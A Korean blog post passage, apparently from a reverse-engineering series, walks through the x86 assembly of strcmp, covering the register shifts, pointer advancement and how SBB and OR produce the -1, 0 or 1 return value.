위에서 AL, AH 를 통해 두 문자씩 비교를 하였다. 그렇다면 세 번째 문자부터는 SHR EAX, 10 을 통해 EAX 값을 정리해준다. SHR EAX, 10 는 EAX 레지스터의 값을 0x10 bit 만큼 우측으로 이동시키는 것으로 상위 2 Bytes 의 값이 하위 2 Bytes 에 자리 잡게 된다. 이 경우 "0x706D6F43" 이 "0x0000706D" 가 된다. 그리고 다시 AL 과 AH 를 통해 나머지 문자들도 비교한다.

기준 문자열이 4 Bytes 보다 크기 때문에 주소를 옮겨 주어야 한다. 따라서 ECX 와 EDX 에 있는 주소 값에 각각 4 를 더해 다섯 번째 문자를 가리키도록 한다. 그 후 다시 문자 비교를 시작하는 위치 0x62BEF950 으로 이동한다.

반복문을 돌면서 한 문자씩 비교하는 것을 확인하였다. 이번에는 반환 값에 대하여 알아보자. 아래 두 그림은 0 을 반환하는 경우와, 0 이 아닌 값을 반환하는 경우이다. 아래 첫 번째 그림은 XOR EAX, EAX 를 통해 EAX 의 값을 0 으로 만든다. strcmp 는 두 값이 같은 경우 0 이 반환되는 것으로 바로 그 부분이다.

SBB EAX, EAX 는 SUB EAX, EAX 와 유사하다. 다만 이에 Carry Flag(CF)의 값을 다시 빼준다. 따라서 EAX 에는 어떤 값이 있더라도 자기 자신을 소거한 뒤 CF 의 값에 따라 1을 더 빼주는 셈이 된다. SBB 명령어를 통해 0 또는 0xFFFFFFFF 가 된 EAX 에 OR EAX, 0x1 을 해주므로 결국 EAX 에는 1 또는 -1 이 반환된다.

좀 더 구체적으로 1 또는 -1 은 마지막 CMP 명령어에서 결정된다. 기준 문자열의 마지막 문자 'e' 와 비교 문자열의 'z' 를 비교했을 때, 각각의 ASCII 값은 0x65 와 0x7A 이다. '기준 문자 < 비교 문자' 인 경우 CF 는 borrow 가 발생하여 1로 설정된다. 이 경우 최종적으로 반환되는 값은 -1 이 된다. 반대로 비교 문자열이 "Compara" 라 할 때, 마지막 문자 'a' 는 'e' 보다 작은(기준 문자 > 비교 문자) 값이므로 borrow 가 발생하지 않아 CF 가 0으로 설정되어 최종 반환 값은 이에 OR 1 을 하여 1 이 된다.

'Reversing > Theory' 카테고리의 다른 글

암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21
DLL이란?  (3) 2016.05.29
PE구조의 이해  (0) 2016.05.04

Comment +0